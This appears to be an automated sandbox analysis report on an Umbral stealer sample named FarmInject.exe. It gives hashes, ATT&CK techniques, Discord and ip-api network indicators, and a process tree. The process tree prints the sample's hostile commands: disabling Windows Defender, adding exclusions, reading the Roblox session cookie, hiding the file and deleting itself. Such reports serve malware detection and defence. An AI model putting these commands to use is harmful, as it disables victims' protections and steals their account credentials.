umbral | 1bb943ec9c40c294f145ecaf7701ddb78e3569f6b0b0224117dbcafb970bd34b

Analysis

max time kernel
143s
max time network
115s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
19-07-2024 10:03

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General

Target

FarmInject.exe
Size

231KB
MD5

06266d2df2b7ca91e7b3b7a26b13d3f8
SHA1

bd85f02d1e81eae97d802bb23a24ab70fb054f45
SHA256

1bb943ec9c40c294f145ecaf7701ddb78e3569f6b0b0224117dbcafb970bd34b
SHA512

dc641d76013a3016479e86fa2d5b97280cb507abc1385bd0b63b713b167bd44f8189e6728a5c00001454dfe6ffaf3a818d13c4797ee0861948d9bcbf7528ce4b
SSDEEP

6144:RloZM+rIkd8g+EtXHkv/iD4fl9cw2xpaRPyAxVkkAb8e1mvcnr4vi:joZtL+EP8fl9cw2xpaRPyAxVkZecr46

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/1576-0-0x0000028879FD0000-0x000002887A010000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1232	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	FarmInject.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
30	discord.com
31	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3892	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2740	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1576	FarmInject.exe
1232	powershell.exe
1232	powershell.exe
2724	powershell.exe
2724	powershell.exe
732	powershell.exe
732	powershell.exe
4172	powershell.exe
4172	powershell.exe
3044	powershell.exe
3044	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1576	FarmInject.exe
Token: SeIncreaseQuotaPrivilege	5088	wmic.exe
Token: SeSecurityPrivilege	5088	wmic.exe
Token: SeTakeOwnershipPrivilege	5088	wmic.exe
Token: SeLoadDriverPrivilege	5088	wmic.exe
Token: SeSystemProfilePrivilege	5088	wmic.exe
Token: SeSystemtimePrivilege	5088	wmic.exe
Token: SeProfSingleProcessPrivilege	5088	wmic.exe
Token: SeIncBasePriorityPrivilege	5088	wmic.exe
Token: SeCreatePagefilePrivilege	5088	wmic.exe
Token: SeBackupPrivilege	5088	wmic.exe
Token: SeRestorePrivilege	5088	wmic.exe
Token: SeShutdownPrivilege	5088	wmic.exe
Token: SeDebugPrivilege	5088	wmic.exe
Token: SeSystemEnvironmentPrivilege	5088	wmic.exe
Token: SeRemoteShutdownPrivilege	5088	wmic.exe
Token: SeUndockPrivilege	5088	wmic.exe
Token: SeManageVolumePrivilege	5088	wmic.exe
Token: 33	5088	wmic.exe
Token: 34	5088	wmic.exe
Token: 35	5088	wmic.exe
Token: 36	5088	wmic.exe
Token: SeIncreaseQuotaPrivilege	5088	wmic.exe
Token: SeSecurityPrivilege	5088	wmic.exe
Token: SeTakeOwnershipPrivilege	5088	wmic.exe
Token: SeLoadDriverPrivilege	5088	wmic.exe
Token: SeSystemProfilePrivilege	5088	wmic.exe
Token: SeSystemtimePrivilege	5088	wmic.exe
Token: SeProfSingleProcessPrivilege	5088	wmic.exe
Token: SeIncBasePriorityPrivilege	5088	wmic.exe
Token: SeCreatePagefilePrivilege	5088	wmic.exe
Token: SeBackupPrivilege	5088	wmic.exe
Token: SeRestorePrivilege	5088	wmic.exe
Token: SeShutdownPrivilege	5088	wmic.exe
Token: SeDebugPrivilege	5088	wmic.exe
Token: SeSystemEnvironmentPrivilege	5088	wmic.exe
Token: SeRemoteShutdownPrivilege	5088	wmic.exe
Token: SeUndockPrivilege	5088	wmic.exe
Token: SeManageVolumePrivilege	5088	wmic.exe
Token: 33	5088	wmic.exe
Token: 34	5088	wmic.exe
Token: 35	5088	wmic.exe
Token: 36	5088	wmic.exe
Token: SeDebugPrivilege	1232	powershell.exe
Token: SeDebugPrivilege	2724	powershell.exe
Token: SeDebugPrivilege	732	powershell.exe
Token: SeDebugPrivilege	4172	powershell.exe
Token: SeIncreaseQuotaPrivilege	4044	wmic.exe
Token: SeSecurityPrivilege	4044	wmic.exe
Token: SeTakeOwnershipPrivilege	4044	wmic.exe
Token: SeLoadDriverPrivilege	4044	wmic.exe
Token: SeSystemProfilePrivilege	4044	wmic.exe
Token: SeSystemtimePrivilege	4044	wmic.exe
Token: SeProfSingleProcessPrivilege	4044	wmic.exe
Token: SeIncBasePriorityPrivilege	4044	wmic.exe
Token: SeCreatePagefilePrivilege	4044	wmic.exe
Token: SeBackupPrivilege	4044	wmic.exe
Token: SeRestorePrivilege	4044	wmic.exe
Token: SeShutdownPrivilege	4044	wmic.exe
Token: SeDebugPrivilege	4044	wmic.exe
Token: SeSystemEnvironmentPrivilege	4044	wmic.exe
Token: SeRemoteShutdownPrivilege	4044	wmic.exe
Token: SeUndockPrivilege	4044	wmic.exe
Token: SeManageVolumePrivilege	4044	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 1576 wrote to memory of 5088	1576	FarmInject.exe	84
PID 1576 wrote to memory of 5088	1576	FarmInject.exe	84
PID 1576 wrote to memory of 1680	1576	FarmInject.exe	89
PID 1576 wrote to memory of 1680	1576	FarmInject.exe	89
PID 1576 wrote to memory of 1232	1576	FarmInject.exe	92
PID 1576 wrote to memory of 1232	1576	FarmInject.exe	92
PID 1576 wrote to memory of 2724	1576	FarmInject.exe	94
PID 1576 wrote to memory of 2724	1576	FarmInject.exe	94
PID 1576 wrote to memory of 732	1576	FarmInject.exe	96
PID 1576 wrote to memory of 732	1576	FarmInject.exe	96
PID 1576 wrote to memory of 4172	1576	FarmInject.exe	98
PID 1576 wrote to memory of 4172	1576	FarmInject.exe	98
PID 1576 wrote to memory of 4044	1576	FarmInject.exe	102
PID 1576 wrote to memory of 4044	1576	FarmInject.exe	102
PID 1576 wrote to memory of 4796	1576	FarmInject.exe	104
PID 1576 wrote to memory of 4796	1576	FarmInject.exe	104
PID 1576 wrote to memory of 396	1576	FarmInject.exe	106
PID 1576 wrote to memory of 396	1576	FarmInject.exe	106
PID 1576 wrote to memory of 3044	1576	FarmInject.exe	108
PID 1576 wrote to memory of 3044	1576	FarmInject.exe	108
PID 1576 wrote to memory of 3892	1576	FarmInject.exe	110
PID 1576 wrote to memory of 3892	1576	FarmInject.exe	110
PID 1576 wrote to memory of 5004	1576	FarmInject.exe	113
PID 1576 wrote to memory of 5004	1576	FarmInject.exe	113
PID 5004 wrote to memory of 2740	5004	cmd.exe	115
PID 5004 wrote to memory of 2740	5004	cmd.exe	115

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1680	attrib.exe

C:\Users\Admin\AppData\Local\Temp\FarmInject.exe
"C:\Users\Admin\AppData\Local\Temp\FarmInject.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1576
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5088
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\FarmInject.exe"
  2⤵
  - Views/modifies file attributes
  PID:1680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\FarmInject.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4172
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4044
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:4796
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3044
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3892
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\FarmInject.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5004
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:2740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
c9b6705519e1eef08f86c4ba5f4286f3

SHA1
6c6b179e452ecee2673a1d4fe128f1c06f70577f

SHA256
0f9cad44a79126871580e19b01dc3f880c5173b1faaf8b9018d5d1f829714705

SHA512
6d8f85a7a8b0b124530f36a157cd0441b5c1eacdc35e274af9fbf0569d03d1d5e468651a5b2425f0215c282ecfa7b1ffeaeeaf18612822f00bd14306d30640c7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d4e532cfa885cd7b7abee2caa08f0388

SHA1
dd3b80e4b56522e2ee2ec7877f18a1b044c0c47f

SHA256
811bffe99001ffee8acf0932d5a6d7dafa09094d00741623406b11fcaabea665

SHA512
2129fe057424835bc45de848e8191ddf8b8d2fdd242a2924653d4e073988d7fced6def199d4264fee6dcd3b20d6db3b14432e23e60756b93671262f3dc9d104a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xwtpa3ef.ldx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1232-13-0x00007FFC73BD0000-0x00007FFC74691000-memory.dmp

Filesize
10.8MB

Download
memory/1232-14-0x000002F44F330000-0x000002F44F352000-memory.dmp

Filesize
136KB

Download
memory/1232-15-0x00007FFC73BD0000-0x00007FFC74691000-memory.dmp

Filesize
10.8MB

Download
memory/1232-18-0x000002F44F4F0000-0x000002F44F70C000-memory.dmp

Filesize
2.1MB

Download
memory/1232-19-0x00007FFC73BD0000-0x00007FFC74691000-memory.dmp

Filesize
10.8MB

Download
memory/1232-3-0x00007FFC73BD0000-0x00007FFC74691000-memory.dmp

Filesize
10.8MB

Download
memory/1576-1-0x00007FFC73BD3000-0x00007FFC73BD5000-memory.dmp

Filesize
8KB

Download
memory/1576-35-0x000002887C790000-0x000002887C7E0000-memory.dmp

Filesize
320KB

Download
memory/1576-36-0x000002887C820000-0x000002887C83E000-memory.dmp

Filesize
120KB

Download
memory/1576-0-0x0000028879FD0000-0x000002887A010000-memory.dmp

Filesize
256KB

Download
memory/1576-34-0x000002887C710000-0x000002887C786000-memory.dmp

Filesize
472KB

Download
memory/1576-72-0x000002887C6B0000-0x000002887C6BA000-memory.dmp

Filesize
40KB

Download
memory/1576-73-0x000002887C6E0000-0x000002887C6F2000-memory.dmp

Filesize
72KB

Download
memory/1576-2-0x00007FFC73BD0000-0x00007FFC74691000-memory.dmp

Filesize
10.8MB

Download
memory/1576-91-0x00007FFC73BD0000-0x00007FFC74691000-memory.dmp

Filesize
10.8MB

Download